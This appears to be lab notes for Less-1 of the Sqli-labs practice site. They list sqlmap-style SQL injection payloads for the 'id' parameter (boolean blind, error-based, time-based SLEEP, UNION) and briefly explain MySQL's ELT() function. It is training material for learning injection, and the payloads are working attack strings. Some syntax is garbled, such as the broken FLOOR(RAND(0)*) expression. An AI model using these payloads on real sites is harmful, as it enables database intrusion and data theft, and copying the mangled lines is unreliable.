Sqli-labs Page-1 (Basic challenges)

First, Less-1 get-error based-single quotes-string

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Parameter:id (GET)
Type:boolean-based Blind
Title:and boolean-based blind-where or HAVING clause
Payload:id=1 ' and 4178=4178 and ' rrhn ' = ' rrhn

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Type:error-based
Title:mysql >= 5.0 and Error-based-where, have, ORDER by or GROUP by clause (floor)
Payload:id=1 ' and (select 1743 from (select COUNT (*), CONCAT (0x717a707871, (Select (ELT (1743=1743,1))), 0x717a7a7071, Floor (RAND (0) *) x from INFORMATION_SCHEMA. PLUGINS GROUP by X) a) and ' krwb ' = ' KRWB

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type:and/or time-based Blind
Title:mysql >= 5.0.12 and time-based blind
Payload:id=1 ' and SLEEP (5) and ' emvc ' = ' Emvc

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Dormant for 5 seconds.

Type:union Query
Title:generic UNION Query (NULL)-3 columns
payload:id=-6174 ' UNION all SELECT null,concat (0x717a707871, 0x6b48684e74754d58786858774d445666764c516d4654634244476d78426643464f57596f71587a73,0x717a7a7071), NULL--VXnD
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MySQL Operation 16 binary:

MySQL ELT () function:

ELT (N,STR1,STR2,STR3,...)

If n= 1, return str1, if n= 2, return str2, and so on. If n is less than 1 or greater than the number of arguments, NULL is returned.

Sqli-labs Page-1 (Basic challenges)